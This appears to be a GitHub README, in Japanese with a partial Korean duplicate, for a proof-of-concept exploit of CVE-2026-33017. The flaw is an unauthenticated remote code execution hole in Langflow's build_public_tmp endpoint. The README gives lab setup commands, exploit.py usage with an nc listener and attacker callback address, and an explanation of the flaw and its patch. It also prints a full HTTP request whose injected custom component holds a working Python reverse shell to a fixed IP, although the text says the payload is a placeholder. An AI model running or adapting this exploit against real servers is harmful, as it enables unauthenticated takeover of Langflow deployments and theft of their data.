
CVE-2026-33017の概念実証エクスプロイト。Langflowのbuild_public_tmpエンドポイントにおける認証不要のRCEで、悪意のあるカスタムコンポーネントを注入してリバースシェルを取得します。
★ CVE-2026-33017 Langflow リモートコード実行 PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
以下のコマンドで脆弱な Langflow 環境をビルドして起動します。
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
脆弱な Langflow インスタンスを起動した後、対象 URL、Public フロー ID、攻撃者のコールバックアドレスを指定して PoC を実行します。
オプション A — 自前のリスナーを使用する場合:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
オプション B — --listen で組み込みリスナーを使用する場合:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| オプション | 説明 |
|---|---|
--url | 対象 Langflow サーバーの URL |
--flow-id | 共有された Public フローの UUID |
--lhost | 攻撃者のコールバック IP |
--lport | 攻撃者のコールバックポート |
--listen | 外部の nc の代わりに組み込みリスナーを実行する |
CVE-2026-33017 は、LLM アプリケーションや AI ワークフローを視覚的に構築するためのオープンソースプラットフォーム Langflow の Public フロービルド処理における リモートコード実行 (Remote Code Execution, RCE) 脆弱性です。
攻撃者は認証なしでbuild_public_tmpエンドポイントに細工したフローデータを送信することで、サーバー上で 任意の Python コードを実行 させることができます。
CVE-2026-33017 は、LLM アプリケーションや AI ワークフローを視覚的に作成するためのオープンソースプラットフォーム Langflow の以下の Public フロービルドエンドポイントに影響します。
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow の Public フロー は、リンクなどの仕組みを通じて他のユーザーと共有できるように設計されています。
この機能をサポートするため、ビルドエンドポイントは認証を必要とせずにフローを実行可能な状態に準備し、フローのノード、エッジ、設定を読み取って、実行に必要な内部実行グラフを構築します。
問題は、脆弱なバージョンの build_public_tmp が、サーバーに保存された Public フロー情報だけでなく、リクエストボディで指定された data フィールド も受け入れていたことです。
この data フィールドには、以下を含むフロー定義全体を格納できました。
その結果、攻撃者は認証なしのリクエストを使用して、サーバーに保存された正規の Public フローに依存するのではなく、完全に攻撃者が制御するフロー構造を注入することができました。
この設計で特に危険な部分は カスタムコンポーネント (Custom Component) 機能です。
Langflow では、コンポーネントは入力処理、モデル呼び出し、出力生成などのタスクを担う個別の機能ブロックを表します。カスタムコンポーネントは、ユーザーが Python コード で直接その動作を定義できる拡張可能なブロックです。
したがって攻撃者は、悪意のある Python コード を含むカスタムコンポーネントを細工した data オブジェクト内に埋め込むことができ、サーバーはそれをフローの通常の一部であるかのように処理しました。その結果、注入されたコードはビルドまたは実行の過程で解析・実行され、最終的に リモートコード実行 に至りました。
| 区分 | バージョン |
|---|---|
| 脆弱 | Langflow 1.9.0 未満 |
| 修正済み | Langflow 1.9.0 以降 |
GitHub Security Advisory では影響範囲を
<= 1.8.2と記載していますが、修正 (dataパラメータの削除) は 1.9.0 で適用されました。そのため 1.8.3 / 1.8.4 を含む 1.9.0 より前のすべてのリリースが影響を受け、CVE Record でも< 1.9.0と記載されています。
この脆弱性の悪用に成功すると、攻撃者は Langflow サーバーを制御し、以下のような後続の行動を実行できる可能性があります。
以下の PoC は、Langflow 1.8.1 上で CVE-2026-33017 を実証するものです。
攻撃者はまず、対象となる Public フローの flow_id を特定します。

攻撃者は、Python の code が一時ビルド中にサーバー上で実行される カスタムコンポーネント を注入した build_public_tmp リクエストを送信します。以下のリクエストでは、code の値はプレースホルダーのままにしています。ペイロードはご自身で挿入してください (リクエストの下の注記を参照)。
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
ビルド処理中に、カスタムコンポーネントに埋め込まれたコードがサーバー上で実行されます。exploit.py によって自動化されたリバースシェルの亜種を使用すると、攻撃者のリスナーへの接続が確立され、攻撃者はサーバー上で任意のコマンドを実行できる対話型シェルを取得します。

build_public_tmp は Public フロー をビルドするためのものでしたが、脆弱なバージョンでは リクエストボディから直接 data フィールド を依然として受け入れていました。
この設計のため、攻撃者が提供した data はサーバー側のビルドロジックに直接渡され、カスタムコンポーネントに埋め込まれた Python コード は正規のフローの一部であるかのように処理されました。
その結果、攻撃者はサーバーに保存された元の Public フローに依存する必要がなくなり、代わりにサーバー上で実行可能なコードを含む、完全に悪意のあるフロー定義を自ら注入することができました。
パッチ適用後、build_public_tmp は外部から提供された data を受け入れなくなりました。
つまり、以前は攻撃者がリクエストボディを通じてフロー定義全体を注入できた経路が削除され、これにより悪意のあるカスタムコンポーネントを介した任意コード実行も防止されました。

73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이build_public_tmp엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.
CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.
문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.
이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.
즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.
이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.
공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.
| 구분 | 버전 |
|---|---|
| 취약 버전 | Langflow 1.9.0 미만 |
| 패치 버전 | Langflow 1.9.0 이상 |
GitHub Security Advisory는 영향 범위를
<= 1.8.2로 표기하지만, 실제 패치(data파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를< 1.9.0으로 명시한다.